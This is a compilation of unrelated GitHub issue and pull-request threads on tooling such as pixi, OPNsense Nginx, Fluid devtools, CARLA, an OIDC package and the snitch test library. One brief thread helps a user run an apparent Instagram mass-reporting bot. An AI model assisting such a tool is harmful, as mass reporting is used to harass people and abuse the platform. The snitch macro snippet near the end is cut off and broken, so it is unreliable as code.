Support for optional dependencies

I want to build a library and want to do unit tests with different python versions.
In my pixi.toml, I have "python" = ">= 3.9" but i want to do a matrix GitHub Action where the python version is pinned to 3.9, 3.10 and 3.11.
If pixi supported something like build matrices or additional constraints, I could test multiple constraint sets without needing to do pixi add python=${{ matrix.PYTHON_VERSION }}.
I would imagine something like this for example:
[dependencies]
"python" = ">= 3.9"
"scikit-learn" = ">=1.1.0"

[target.custom.py39.dependencies]
python = "3.9"

[target.custom.py310.dependencies]
python = "3.10"

[target.custom.sklearn-130.dependencies]
"scikit-learn" = "1.3.0"

# install default stuff
$ pixi install
# install with custom constraints
$ pixi install --with py310 --with sklearn-130

I would suggest not solving these additional requirements beforehand but only solving at runtime if specified with --with since this could lead to a combinatorical explosion if too many additional dependencies are specified. (Or maybe providing the user with an option if they want to store the additional dependencies in the lock file or not)

I have been thinking about this a lot but haven't figured out a nice way to do this.
Essentially I want to always be able to create an environment from a lock-file (if it exists). This should include optional dependencies. This is important because, without it, it still leaves users (read not-the-authors) open to complex dependency issues.
Having the --with syntax is really nice but like you said this could lead to a combinatorial explosion of dependency sets.
With rust you have --features which is very similar. The difference is that Rust features can only add dependencies, they don't have an impact on the "base" set of dependencies (I think). Rust also suffers a lot less from dependency conflicts because you can have "local" dependencies. This wouldn't work for your case because you cant install both python 3.9 and python 3.10. Different python versions will also probably have a huge impact on the rest of the selected dependencies.
We could also looking into creating a proper build matrix and see how long it takes to solve. There are also definitely some performance improvements we can do for the solving subsequent requests much faster.
Perhaps the easiest way (a build matrix) could work? Ill have to try.

But what about features that exclude each other? For example when you want to test different python versions or your support for different pydantic versions?

So Im just spitballing here but you could create a matrix for that similar to conda-build-config.yaml or Github actions:
python:
  - 3.9
  - 3.10
  - 3.11
pydantic:
  - 1.0
  - 2.0
exclude:
  - python: 3.9
    pydantic: 2.0

Or whatever.

That sounds nice :)
Maybe it would make sense to be able to specify include: similar to GH Actions?

Sure! But this is all just a bit theoretical we'll have to come up with how we actually want to support this in our project manifest.

Speaking as an outsider, if this would mean supporting something like pip install package[featurex], but in pixi form, that would be really nice. conda currently doesn't provide this, and it seems there is little movement on the issue (e.g., https://github.com/conda/conda/issues/7502).

This proposal is relevant to this issue: https://gist.github.com/0xbe7a/bbf8a323409be466fe1ad77aa6dd5428

Maybe it is worth having a look at Hatch and how they implement their Environment/Matrix feature.

I think this feature would not be required anymore when the Multi environment #392 feature is in.
Can we close this?

Yes 👍🏻
Superseded by #392


v2.0.0 Milvus Limits (limitations.md) Doc Update

Is there an existing issue for this?

[X] I have searched the existing issues.

Issue
In this doc
https://milvus.io/docs/v2.0.0/limitations.md#Milvus-Limits
Some of the expressions are inaccurate.
Suggestion
In search section
Change:
Output per input -> topk
Input -> target input vectors
In Input per remote procedure call (RPC) section:
The section name is ambiguous: Each RPC input and output are all capped at 512MB.
Anything else?
No response

@chris-zilliz While fixing this issue, please verify all limitations with @czhen-zilliz to make sure they are up-to-date.
Make sure to update both EN and CN pages.

Got it. Will do.


3.2 Pull Request

@fmscode You will now be immortalized in the PBM Hall of Fame. Thank you for all of your help with everything.
cc @RyanTG

Thank you @scottwainstock!!!!


Peculiar Module/Class Structure causes Build-Breaking Inheritance Diagram Error

...see here:

https://github.com/brightway-lca/brightway2-data/issues/186
https://github.com/readthedocs/sphinx-autoapi/issues/480

The current remedy is to disable the 'show-inheritance-diagram' option in autoapi_options of conf.py.

I have looked into this, and there are a lot of libraries which use the current bw2data.parameters structure. We definitely can't just add a breaking change. My judgment is that the marginal value of these inheritance diagrams is lower than the effort to change the bw2data structure - maybe we leave the "current remedy" for now?

Sure, I will add the MWE to reproduce the issue to the issue I opened here: https://github.com/readthedocs/sphinx-autoapi/issues/480. It seems like this could be fixed by the Sphinx extension.


[NGINX] Very slow web GUI access when config has many banned IP addresses

Important notices
Before you add a new report, we ask you kindly to acknowledge the following:

[ x ] I have read the contributing guide lines at https://github.com/opnsense/core/blob/master/CONTRIBUTING.md
[ x ] I am convinced that my issue is new after having checked both open and closed issues at https://github.com/opnsense/core/issues?q=is%3Aissue

Describe the bug
Is not a bug but a performance issue.
Since November 2020 I've been using Nginx plugin to access different web servers inside my network.
As the time passed, the web GUI access progressively slowed down. It was on a day by day basis, so one day I realize that it was very annoying to make the periodic maintenance tasks.
So I started to dig into the possible causes and didn't realize, until today, that Nginx is using the main configuration to save the banned IPs and it generates an internal alias to filter those IPs.
As today Nginx collected more than 18.000 IP addresses, most of them v4 and a few v6. The configuration grown from 248 KB on November 12th, 2020 to 2,7 MB today.
My workaround was to backup the configuration, delete all the banned IPs and re-import it. After cleaning the configuration, it now has 432 KB.
Now the web GUI works very fast, as it was in the beginning.
Then I generated an alias with the extracted IPs and generated a block rule with them.
Now OPNSense is still blocking the 18.000+ addresses and Nginx started to acquire IP address from zero. Of course, this is not a good solution as I have to do this maintenance from time to time and the problem of slow access still exists when the configuration grows.
A possible conclusion is that the bigger the configuration is, the slower the web GUI becomes.
Tip: to validate your setup was working with the previous version, use opnsense-revert (https://docs.opnsense.org/manual/opnsense_tools.html#opnsense-revert)
To Reproduce
Steps to reproduce the behavior:

Go to 'web GUI'
Click on 'any menu'
Wait some seconds until the GUI responds ....

Expected behavior
The web GUI should respond quickly not consuming so much CPU
Describe alternatives you considered
My guess is that the parsing of the big configuration is causing the slow web access, so the Nginx plugin could save the banned IPs on a separate configuration file or directly generate an URL Table alias file somewhere.
May be, this could be solved with a new type of alias (Persistent IP Table).
Screenshots
If applicable, add screenshots to help explain your problem.
NO SCREENSHOTS
Relevant log files
If applicable, information from log files supporting your claim.
NO LOG FILES
Additional context
Add any other context about the problem here.
A screenshot of the CPU usage before and after applying the workaround (at 16:08 pm).

Environment
Software version used and hardware type if relevant, e.g.:
OPNsense 23.1.5 (amd64, OpenSSL).
Intel® Core I7-10700 2.9 Ghz four vCores on an ESXi 7 VM with 4 GB RAM.
Network Intel® E1000, 2 virtual NICs

I am experiencing exactly the same issue. I found the information at https://github.com/opnsense/core/issues/6299, but it does not work in my case.

Hi @pich4ya. It worth mentioning that the causes of this slow GUI problem are different from the ones on https://github.com/opnsense/core/issues/6299.
In this case the slow access is caused by Nginx plugin that inserts the banned IP addresses to the main configuration and when it becomes huge, with some thousands of addresses, the whole system becomes slow responsive.
Actually, the problem still persists, so I managed to clean the configuration from banned IPs from time to time so it keeps at a reasonable size.
Recently I asked the developers to add an "unlock all" button that cleans the banned IPs list at once. It should be enough to do the maintenance.

@muchachagrande ban_ttl could be the solution?
https://github.com/opnsense/plugins/blob/26d89ffaec8ae898d48a0943d09bdd6e20539fef/www/nginx/src/opnsense/mvc/app/controllers/OPNsense/Nginx/forms/settings.xml#L11

Thank you @kulikov-a. I see it's a new option. I'll give it a try.
Cheers


Add new DefaultEvictor plugin with args

Add new DefaultEvictor plugin with args, and only moving the Filter extension point to it for now.
Follow ups (other PRs):
PreEvictFilter, Sort, PreEvictSort for the default Evictor plugin

/hold

/unhold

Had a internal discussion with Jan about naming.
This name that we have right now is a bit confusing. This plugin interface that we have right now is called EvictorPlugin, and the first default plugin is called DefaultEvictor. But this plugin is not really meant to actually evict pods, only filter/sort/etc, which will affect eviction, but is not the eviction itself. It is something like EvictorCustomizer, or EvictorBehaviour... or something...
From the user perspective, this to be called DefaultEvictor makes sense, since it feels like the user is configuring the evictor itself and how it evicts and decides to evict pods. But in code we will have one thing that is the actual evictor, and a thing that will change how the evictor filters/sorts/etc.
Just wanted to throw this here. It is confusing, but I can't think of a better name. I added comments both in defaultevictor.go and  the framework types.go:
// EvictorPlugin defines extension points for a general evictor behavior
// Even though we name this plugin interface EvictorPlugin, it does not actually evict anything,
// This plugin is only meant to customize other actions (extension points) of the evictor,
// like filtering, sorting, and other ones that might be relevant in the future

I think it is sufficient, but if anybody has a better name feel free to chime in :)
There is yet another naming discussion that I will bring in the issue later.

I think it is sufficient, but if anybody has a better name feel free to chime in :)

@knelasevero thank you for putting the comments down. Right before we introduce the v1alpha2 configuration type we will have a discussion about naming of all plugins. At that point we will need to decide which name will be the least confusing yet still sufficiently descriptive.

/retest

/approve
/lgtm


Help create a jupyter-cell #%% text object for python files

Hi I am newbie in lua and completely confused with text-objects. I have tried multiple ways to do this (including ChatGPT which failed ofc):
I use #%% inside my python files to quickly jump between code blocks. It also helps if i convert the .py file to .ipynb, in that it uses the #%% string to define cell boundaries in jupyter. Can you help create a tree-sitter text subject which recognises this pattern and a keymapping to help me jump from one occurence of #%% to next (and backwards)?
Thanks.

I implemented this feature without treesitter.
https://github.com/kiyoon/jupynium.nvim
You can use the plugin only for textobjects, or just take the textobjects code and modify as you need.
Also, in the plugin, I defined some queries for highlighting. If you don't need select and all you want is to move around, you can use the queries there that detects code cells etc.

 By default the keybindings only work for *.ju.py files. How can I make it so it works in all .py files?
I will look at jupynium in detail. In the past, I was using jupyter_ascending to sync py with ipynb. I assume your plugin is more advanced than that.

Thank you! In the options there's a way to choose the file extension pattern you want to use!

I copy-pasted the init.lua file contents into my config and made this change:
function M.default_keybindings(augroup)
vim.api.nvim_create_autocmd({ "BufWinEnter" }, {
-- pattern = options.opts.jupynium_file_pattern,
pattern = "*.py",
callback = function(event)
M.set_default_keymaps(event.buf)
end,
group = augroup,
})
end
didn't work. It still only accepts .ju. pattern

require("jupynium").setup({
  jupynium_file_pattern = { "*.py" },
})

Can you try this?

Thank you that worked.


Convert pyramids before import warning

See https://forum.image.sc/t/omero-pyramid-generation-time/33463/27

@sbesson we can certainly indicate that it is deprecated in the announcement. If we want to mark it as deprecated in the code, we will have to re-publish packages

What does "deprecated" really mean? The RoiService has been deprecated for about 10 years, and Insight for almost as long.

@sbesson @jburel Pushed some fixes

Added links and other fixes


How can I set properly webhook parametes?

Is it possible to improve the readme or to have a guide to set the webhook properly?
I'm trying to use this library with Heroku but since the default mode is the polling mechanism after some minutes the app goes idle on Heroku.
It will be very useful if a parameter would be explained better

@Thecave3 Here's an example that belongs to another telegram bot lib, hope it works for you.

exactly what i wanted, thank you!


Error Microsoft.Azure.WebJobs.Extensions.ServiceBus to 4.2.1 or later

In function azure after deploy Company Communicator Branch  Git ->
mibon/imagetranslateanalytics5.0  @Mikhail2k15
Error message like this how to edit
Microsoft.Azure.WebJobs.Script: Error building configuration in an external startup class. Microsoft.Azure.WebJobs.Script: One or more loaded extensions do not meet the minimum requirements. For more information see https://aka.ms/func-min-extension-versions. ExtensionStartupType DurableTaskWebJobsStartup from assembly 'Microsoft.Azure.WebJobs.Extensions.DurableTask, Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=014045d636e89289' does not meet the required minimum version of 2.4.1. Update your NuGet package reference for Microsoft.Azure.WebJobs.Extensions.DurableTask to 2.4.1 or later. ExtensionStartupType ServiceBusWebJobsStartup from assembly 'Microsoft.Azure.WebJobs.ServiceBus, Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=31bf3856ad364e35' does not meet the required minimum version of <IP_ADDRESS>. Update your NuGet package reference for Microsoft.Azure.WebJobs.Extensions.ServiceBus to 4.2.1 or later. .

Hello @Fadel1949 ,
We had discussion with the team. Our support scope is very limited with the standard version as the area of code modification is not known to us for customized versions. We will not be able to provide much assistance on this issue as the deployed instance is a customized version. Please let us know if you have any issues with the standard version.

Hi @v-jaygupta  Just what I need. Future, analytics and scheduling messages
Thank you.

@Fadel1949 ,
Could you please elaborate more on your last message so we get the requirements right


feat(fluid-devtools): Tooltip to clarify ContainerID vs DocumentID

Description
Add an info icon with a tooltip to the container summary view, with a note about the difference between "container id" and "document id" as seen in telemetry and in the UI. Had to increase the ideal/min column width so the icon didn't move to a new line, and apply some inline styles to it to get it vertically centered with respect to the label next to it. Using bigger icons kind of fixes the visual alignment, but then the proportions between text size and icon size look wrong.
Tooltip looks like this:

Reviewer Guidance
A proposal of what we could do here but it doesn't need to be exactly this way. Open to feedback.
AB#3638

Description
Add an info icon with a tooltip to the container summary view, with a note about the difference between "container id" and "document id" as seen in telemetry and in the UI. Had to increase the ideal/min column width so the icon didn't move to a new line, and apply some inline styles to it to get it vertically centered with respect to the label next to it. Using bigger icons kind of fixes the visual alignment, but then the proportions between text size and icon size look wrong.
Tooltip looks like this:

Reviewer Guidance
A proposal of what we could do here but it doesn't need to be exactly this way. Open to feedback.
AB#3638

This was the approach I was thinking of too. We may need to change things later for accessibility requirements, but until then I personally like this visually.

Description
Add an info icon with a tooltip to the container summary view, with a note about the difference between "container id" and "document id" as seen in telemetry and in the UI. Had to increase the ideal/min column width so the icon didn't move to a new line, and apply some inline styles to it to get it vertically centered with respect to the label next to it. Using bigger icons kind of fixes the visual alignment, but then the proportions between text size and icon size look wrong.
Tooltip looks like this:

Reviewer Guidance
A proposal of what we could do here but it doesn't need to be exactly this way. Open to feedback.
AB#3638

This was the approach I was thinking of too. We may need to change things later for accessibility requirements, but until then I personally like this visually.

is it wise to remap concepts in our dev tools. this could lead to lots of confusion in terminology when customers ask questions or file bugs. i would suggest not doing it, and either fix the terminology used everywhere, or go with existing terminology.

Description
Add an info icon with a tooltip to the container summary view, with a note about the difference between "container id" and "document id" as seen in telemetry and in the UI. Had to increase the ideal/min column width so the icon didn't move to a new line, and apply some inline styles to it to get it vertically centered with respect to the label next to it. Using bigger icons kind of fixes the visual alignment, but then the proportions between text size and icon size look wrong.
Tooltip looks like this:

Reviewer Guidance
A proposal of what we could do here but it doesn't need to be exactly this way. Open to feedback.
AB#3638

This was the approach I was thinking of too. We may need to change things later for accessibility requirements, but until then I personally like this visually.

is it wise to remap concepts in our dev tools. this could lead to lots of confusion in terminology when customers ask questions or file bugs. i would suggest not doing it, and either fix the terminology used everywhere, or go with existing terminology.

The main issue here is that 3rd party and 1st party APIs use different terminology. containerId is what the 3rd party API uses to describe what we elsewhere call documentId. So if we use the documentId terminology here, we would need to leave a similar disclaimer for our 3rd party API users ☹

Description
Add an info icon with a tooltip to the container summary view, with a note about the difference between "container id" and "document id" as seen in telemetry and in the UI. Had to increase the ideal/min column width so the icon didn't move to a new line, and apply some inline styles to it to get it vertically centered with respect to the label next to it. Using bigger icons kind of fixes the visual alignment, but then the proportions between text size and icon size look wrong.
Tooltip looks like this:

Reviewer Guidance
A proposal of what we could do here but it doesn't need to be exactly this way. Open to feedback.
AB#3638

This was the approach I was thinking of too. We may need to change things later for accessibility requirements, but until then I personally like this visually.

is it wise to remap concepts in our dev tools. this could lead to lots of confusion in terminology when customers ask questions or file bugs. i would suggest not doing it, and either fix the terminology used everywhere, or go with existing terminology.

The main issue here is that 3rd party and 1st party APIs use different terminology. containerId is what the 3rd party API uses to describe what we elsewhere call documentId. So if we use the documentId terminology here, we would need to leave a similar disclaimer for our 3rd party API users. We were erring on the side of using the 3rd party terminology since that's our primary target for this (at least to start). But we definitely have a larger terminology problem we should figure out.

containerId

Can you point to me where azure client uses the term "containerId"

Can you point to me where azure client uses the term "containerId". i see very few in the code or the docs, and it doesn't seem like a top level concept. even the docs are confused in places: containerId: https://learn.microsoft.com/en-us/search/?terms=containerId&scope=Azure&fromNavSearch=true&expanded=%2Fdevrel%2F68ec7f3a-2bc6-459f-b959-19beb729907d&products=%2FDevRelOfferingOntology%2Febf7daae-50be-4c4b-8d47-af6e3e530441 documentIds: https://learn.microsoft.com/en-us/search/?terms=documentId&scope=Azure&fromNavSearch=true&expanded=%2Fdevrel%2F68ec7f3a-2bc6-459f-b959-19beb729907d&products=%2FDevRelOfferingOntology%2Febf7daae-50be-4c4b-8d47-af6e3e530441
i would default to using the terms we have, and tool tipping the other way, and opening items to fix and clarify. to me this will just further spread confusion. Since this is dev tool, i think keeping concepts as close to the code is possible is the correct path.

It's the terminology our website uses (e.g. https://fluidframework.com/docs/build/containers/#publishing-a-container), as well as what our external examples repo uses (e.g., https://github.com/microsoft/FluidExamples/tree/main/brainstorm#connecting-to-the-service)
It's also what I have understood AFR uses, though their documentation seems to mix and match documentId and containerId. E.g. https://learn.microsoft.com/en-us/azure/azure-fluid-relay/concepts/authentication-authorization
@ssimic2 you might be able to offer some insight here.
I would love to be as consistent as possible, so if documentId is the better choice, we will definitely make that change. But I think we also have a larger terminology issue that should be addressed.

@anthony-murphy the specific strings "containerId" and "documentId" might not show up much and might be confused as you point out. But take for example this paragraph from our public docs (emphasis below is mine):

Connecting to a container #
The creating client connects to a container when it calls the container’s attach method. A subsequent client connects to a published container by calling the client’s getContainer method. The call must pass the id of the container as well as the exact same schema definition used to create the container. The same container schema is required on all subsequent connections.

What they need to pass is technically the id of the document. But the docs talk in terms of FluidContainer ("A container is represented by the FluidContainer type") and calling the id exposed by FluidContainer/IFluidContainer the "container id" feels ok in that context... while we know that really that id is the id of the underlying document, and the low-level code will create a different thing called Container whose id won't match the one exposed by FluidContainer, but will show up in telemetry as "containerId".

And for the record, I do agree that it'd be best to get our terminology story consistent everywhere... but unclear if that means rewriting our public docs to explicitly state that the id of a FluidContainer is not called "container id" by the framework (for example), and use the "document id" terminology even though none (?) of the classes, APIs, etc, that 3rd party devs will see seem to point to that concept.

@anthony-murphy (@Josmithr @rohandubal @kashms  FYI) we're considering going for the resolved URL, or parts of it, here.

This being a developer tools, how do we feel about showing each endpoint separately? I'm not familiar enough with them to imagine a particular use case for devs, but gut feeling says it's fine. And the id on its own as "Fluid Container Id" (tooltip: "id that uniquely identifies the container in the service where it lives.").

/azp run Build - client packages

@alexvy86 FYI, I have a PR up changing how we do the info buttons to use FluentUI's InfoButton component: #15697

@Josmithr @anthony-murphy @rohandubal my current thoughts on this, checking for any feedback so we can move this PR forward:

Skip the resolved URL's endpoints in Devtools (removed from the PR already). They're driver-specific (url-resolver-specific); LocalResolver/RouterliciousUrlResolver/AzureUrlResolver and a few others all use deltaStorageUrl, ordererUrl, storageUrl. But OdspDriverUrlResolver and several others related to it use snapshotStorageUrl, attachmentPOSTStorageUrl, attachmentGETStorageUrl, deltaStorageUrl. I can see some value in exposing them at some point, but it would have to be with dynamically generated entries, maybe a slightly different UI.

Devtools itself moved away from identifying Containers by their "self-reported" id, to a user-specified key. However, I think it's a good idea to keep "Container ID" as a field and populate it with the value of the Container's resolvedUrl.id. That's what IFluidContainer instances returned by TinyliciousClient and AzureClient return when their attach() method is called (where our docs usually say "this will give you the id of the container"), and it's what we put in the docId field in telemetry so this seems to make sense and would help users correlate telemetry events with the Containers they see in devtools, for both 1p and 3p. Also, in the tooltip state that it's sometimes also called documentId. It'd be nice to converge on a single term here but it seems like a complicated topic so for now I'd stick to both being valid to identify a container (within a service) and somewhat interchangeable.

As we implement an OdspClient, I'd check to make sure that the attach() method of the IFluidContainer it returns does the same thing.
Tony had pointed out how docId for ODSP is a hashed version of driveId+itemId; for Azure and Tinylicious I think right now it's directly a piece of the URL which could potentially be sensitive, and we might look into hashing at some point. That could break the ability to correlate the Container id in the client with the corresponding entity in the service, but as long as client-side we keep resolvedUrl.id and telemetry's docId consistent, and that's what Devtools shows, at least users will still be able to correlate telemetry, which I think is the main objective right now.

Eventually rename the containerId field in telemetry to remove the potential confusion there. That field is just a UUID for a local instance of the Container class so we could move to something like containerInstanceId, containerCorrelationId, or something new altogether. docId maybe could be renamed too; as long as we consider "Container ID" and "Document ID" interchangeable (and we keep telemetry's docId, a Container's resolvedUrl.id, and the return value of IFluidContainer.attach() all consistent) it's not too bad.

After the office hours discussion today, I'm almost leaning towards not displaying the ID at all? If it is ultimately not a framework concept, then it doesn't seem like a good fit. And customers have the ability to use the appropriate ID as their user-specified key if they wish, and can certainly at least correlate their key with the ID of the document as needed.

After the office hours discussion today, I think I'm leaning towards not displaying the ID at all. If it is ultimately not a framework concept, then it doesn't seem like a good fit. And customers have the ability to use the appropriate ID as their user-specified key if they wish, and can certainly at least correlate their key with the ID of the document as needed.

I agree... and many of the things from office hours seem like they need to make it into our official docs in relation to Container identity. Overall, that there's some amount of identification (for certain purposes) that we can achieve, but also that there's no universally-applicable and forever-stable concept of the id of a Container. I think Tony put it well; FF can tell you which "connection string" it used to create/load a Container. But the Container returned by the service listening at the other end of that connection could be (even if most of the time isn't) different than the one returned a previous time with the same "connection string". It's probably still valuable to surface that "connection string" in devtools somewhere, but maybe it's something more advanced/nuanced that what we want in the Container summary view.
I'll close this PR and we can schedule work for a more complete story around this. Great learnings, though :).


Collision detection with specific vehicle in CARLA 0.8

Hi, thanks very much for the great simulator.
I'm using CARLA 0.8.4 on Ubuntu/Windows. I'm doing some planning work and would like to know which vehicle the ego-vehicle collides with when a collision happens. I checked the document but found no way to implement it. Is it possible to have such a function? Or, if not, is there some trick to approximate such a function?

Hello noahcao,
You should take a look to the Collision Sensor (https://carla.readthedocs.io/en/latest/ref_sensors/#collision-detector).
When attached to an actor, a predefined method is called whenever a collision involving this actor occurs; and the output parameters include the ID of both actors involved.
PS. I really recommend you using a more recent version of CARLA (0.9.7 or newer) and checking the documentation for sensors in order to know how to set them and declare their callback functions.
Best regards,

Hi Armandomiguel,
Thanks so much for the kind help!
yes, I realized there is some solution on CARLA 0.9. But due to some legacy codebase issue and to have fair comparison with some other works which are based on stable CARLA version (0.8.4), I'm still expecting a solution on CARLA 0.8.4.
But you're right. I'm currently migrating my code to CARLA 0.9.

The collision sensor was available in 0.8.4, wasn't it, @marcgpuig ?

Hi @noahcao
Sorry, but the collision sensor was added in 0.9.1.
I highly recommend porting the code to a newer version.
Cheers!

Hi,
I just wrote a short blog post about collision detectors on the Carla simulator research blog - https://carlasimblog.wordpress.com/2023/09/18/collision-detection-systems-in-cars-enhancing-safety-and-realism-in-carla-simulator/, and added a code example for it.


fix: Opening in new tab not working reliably in Safari for iOS

Description
When using the package in a web app the new tab does not open reliably. Sometimes it doesn't open at all, sometimes I have to make the call for manager.loginAuthorizationCodeFlow() multiple times until it works once.
The issue here is safari's popup blocking behavior. You must not have any asynchronous code between the user tap event and launching the url. Otherwise it will be most likely blocked by safari. Causing this problem is awaiting the calls to store.setStateData and store.setCurrentNonce which, with the default OidcStore, uses the local storage of the browser. That is reason enough for safari to block the new tab which is being tried to open AFTER writing to the store.
Steps To Reproduce

Setup Oidc the default way in a web app.
Use loginAuthorizationCodeFlow with the default parameters (opening in a new tab)
Open the app in Safari on iOS
Try to login.
Inconsistent behavior of the new tab opening or being blocked.

Expected Behavior
The new tab should always open.

that is an interesting problem, I guess the popup policies are stricter on phone than on pc.
and I guess you can always use samePage navigation mode to circumvent this.
there is a problem with not waiting for store.setStateData and store.setCurrentNonce though;
since

there may be an error when saving the state/nonce, and the new tab will get launched either way, causing an invalid state even if the auth is successful.
there might be a race condition especially in samePage navigation mode, where the app will get destroyed when redirecting before it's able to save the state/nonce.

Yes, Samepage works, of course.
Yes, storing the data might fail silently now.
Ideally, the whole logic would be refactored so that:
The nonce and key-pair are created and saved when initiating, thus making the loginCall Synchronous until calling launchUrl.

do you have any sources on why safari blocks new tabs ? maybe I can think of something

No, I don’t have any links to valid first hand Apple information.
I have read numerous other Issues and stack overflow posts.
The main Issue seems to be:
Doing any „await“ stuff before opening the new tab
Am 24.10.2023 um 09:15 schrieb Ahmed Fwela @.***>:
do you have any sources on why safari blocks new tabs ? maybe I can think of something
—
Reply to this email directly, view it on GitHubhttps://github.com/Bdaya-Dev/oidc/issues/31#issuecomment-1776653676, or unsubscribehttps://github.com/notifications/unsubscribe-auth/AYNYD5H4TC7BQOV42SMG5NLYA5TJHAVCNFSM6AAAAAA6MELXK6VHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMYTONZWGY2TGNRXGY.
You are receiving this because you authored the thread.Message ID: @.***>

There is a similar issue with Firefox as well, which blocks the execution of JavaScript to close windows that were NOT opened by the script itself. This causes behavior where the new login/out tabs don't close. I did see some warning in the Chrome console that this behavior may be coming to Chromium based browsers in the near future.

@jlambright to be clear this issue only happens with new tab and popup navigation, and not with same tab navigation, right?

Yes. Though we do see it open a background tab in Firefox (for logout only)
even on same page navigation.
On Thu, Apr 11, 2024, 2:26 PM Ahmed Fwela @.***> wrote:

@jlambright https://github.com/jlambright to be clear this issue only
happens with new tab and popup navigation, and not with same tab
navigation, right?
—
Reply to this email directly, view it on GitHub
https://github.com/Bdaya-Dev/oidc/issues/31#issuecomment-2050271401, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/ABGBYI4EIB2R6OC37XW6GETY43IT5AVCNFSM6AAAAAA6MELXK6VHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDANJQGI3TCNBQGE
.
You are receiving this because you were mentioned.Message ID:
@.***>

I have opened a separate issue to track this here https://github.com/Bdaya-Dev/oidc/issues/68
since this issue is mentioning a problem specific to Safari for iOS not opening a new tab at all


Tool not work

python Instagram Report Bot2.py
python: can't open file '/data/data/com.termux/files/home/Instagram-reporter/Instagram': [Errno 2] No such file or directory

python Instagram Report Bot2.py python: can't open file '/data/data/com.termux/files/home/Instagram-reporter/Instagram': [Errno 2] No such file or directory

try to rename the file because software does not recognise the file if it has spaces in its name.
For instance, you might name the file "InstagramMassReporter2.py", instead of Instagram Mass Report2.py".
Hope i helped


Step 8 may be better using UPN rather than sipaddress?

On step 8 the recommendation is to use:
Set-CsPhoneNumberAssignment -Identity $user.SipAddress -PhoneNumber $user.LineUri.Replace("tel:","") -PhoneNumberType DirectRouting

However with our environment I found sipaddress doesn't always match UPN so UPN seems a better fit to ensure the correct user is updated:
Set-CsPhoneNumberAssignment -Identity $user.UserPrincipalName -PhoneNumber $user.LineUri.Replace("tel:","") -PhoneNumberType DirectRouting

This may also be an issue in step 5 if the sip address in teams doesn't match the on prem sip address. Could possibly update the sip address post move.

Document Details
⚠ Do not edit this section. It is required for learn.microsoft.com ➟ GitHub issue linking.

ID: 5566de7d-1d1e-ba92-743b-dc772b49752a
Version Independent ID: c15342ff-eb3a-5f14-4bba-217c31aa1299
Content: Decide how to manage attributes after decommissioning - Skype for Business Hybrid
Content Source: Skype/SfbHybrid/hybrid/cloud-consolidation-managing-attributes.md
Product: skype-for-business-itpro
GitHub Login: @CarolynRowe
Microsoft Alias: crowe

Thank you for submitting feedback.
I think the best way forward is if you open a service ticket in your tenant so this can get resolved ASAP. Based on the outcome let me know if it is something that can be called out in the docs.
Please follow this link to contact support for business products:https://docs.microsoft.com/office365/admin/contact-support-for-business-products
Please keep us posted here on the resolution so we can feed whatever information you discover into the content.


:put_litter_in_its_place: Remove heroku config

:rocket: deployed to http://connecting-to-services-pr-261.dev.c2s.nhschoices.net and using the latest release of nearby-services-api (0.3.0-beta)

Coverage remained the same at 98.897% when pulling b2b5ba2b4a6259214b6f731cf1a063dedcebc795 on feature/remove-heroku into 6420e5c4a2da787a4dfd624beda6aef211b5a8be on master.

:rocket: deployed to http://connecting-to-services-pr-261.dev.c2s.nhschoices.net and using the latest release of nearby-services-api (0.3.0-beta)

Coverage remained the same at 98.897% when pulling dd1ab0c7d58d438faf1d4c640fa4d3e44d8c00bc on feature/remove-heroku into 6420e5c4a2da787a4dfd624beda6aef211b5a8be on master.


fix bug at mha, MaskGenerator; improve ckpt_utils.py

fix bug in mha when mask=None.
fix bug in MaskGenerator. If the video is short, any type of mask has chances to mask all.
use logger in load_checkpoint.

Regarding 1, another solution is to change
q = self.q_linear(x).view(1, -1, self.num_heads, self.head_dim)

to
q = self.q_linear(x).view(B, -1, self.num_heads, self.head_dim)

if mask is None. Current implementation assumes mask is never to be None.


Should print an error when metrics server is not installed

Thanks I'll review that and add spesific logs in cases.

Fixed. https://github.com/devopswe/ntop/commit/8355e7097a18b95c1cea26e47d5c5458579e4972


Equivalent to Doctest's SUBCASE and CHECK_NOTHROW

I would like to give snitch a try, but my current Doctest test suite heavily relies on SUBCASE and CHECK_NOTHROW. Are there plans to integrate these to snitch as well?

Hi, and thank you for your interest!

SUBCASE is already implemented, it is called SECTION (following the Catch2 API).
CHECK_NOTHROW is not currently available in snitch, but can be added without much effort.   SNITCH_REQUIRE_NOTHROW_IMPL(SNITCH_TESTING_ABORT, __VA_ARGS__)
#define SNITCH_CHECK_NOTHROW(...) SNITCH_REQUIRE_NOTHROW_IMPL((void)0, __VA_ARGS__)

#if SNITCH_WITH_SHORTHAND_MACROS
#    define REQUIRE_NOTHROW(...) SNITCH_REQUIRE_NOTHROW(__VA_ARGS__)
#    define CHECK_NOTHROW(...)   SNITCH_CHECK_NOTHROW(__VA_ARGS__)
#endif

If you do get around to testing snitch, I'd be very interested in hearing any feedback, even (especially?) if negative.

Thanks for the incredibly quick response!
I checked a bit more, and the test suite currently relies on further features that are not yet realized (and some seem not on your roadmap):

Approx (we do some math, and float comparison sucks...)
CHECK_THROWS_WITH_AS - I did not manage to map this to CHECK_THROWS_MATCHES
WARN - not a deal breaker, but convenient when tests rely on environment variables and you just don't care if they fail on some systems

I removed these tests and got the code to compile. :-)
Some observations:

I like the output of failing tests. This is really helpful. Unfortunately, the tests do not integrate as nicely into CLion as Doctest or Catch do. This is unfortunate, because this integration makes it very easy to repeat failing tests or to just execute a single test in the debugger.

There seem to lack an option to generate JUnit XML output. We use this in our CI (Gitlab) to collect reports.

Thanks a lot for the feedback! I'll respond to each point below.

Approx (we do some math, and float comparison sucks...)

Oddly enough, although it was never brought up before, you are now the second person to mention floating point matchers today. I haven't used these matchers myself, but it was pointed out to me that Approx is considered deprecated in Catch2, and that one should use the new floating point matchers instead. Is this something you have considered?
As I mentioned to the other person (on reddit), if I am to implement floating point matchers, I would like to understand what people actually use, but also what they actually need (which may not be the same thing). Although I can browse other libraries' source code to figure out the former, I need to actually talk to a human for the latter :) So if you are happy to share more information about the tests you perform, and what it is you are after, I'd love to hear it.

CHECK_THROWS_WITH_AS

Here is a substitute that should work (assuming your exception type implements the standard what() member function to get the error message; if not, you will need a different matcher):
#define CHECK_THROWS_WITH_AS(EXPR, MESSAGE, EXCEPTION) \
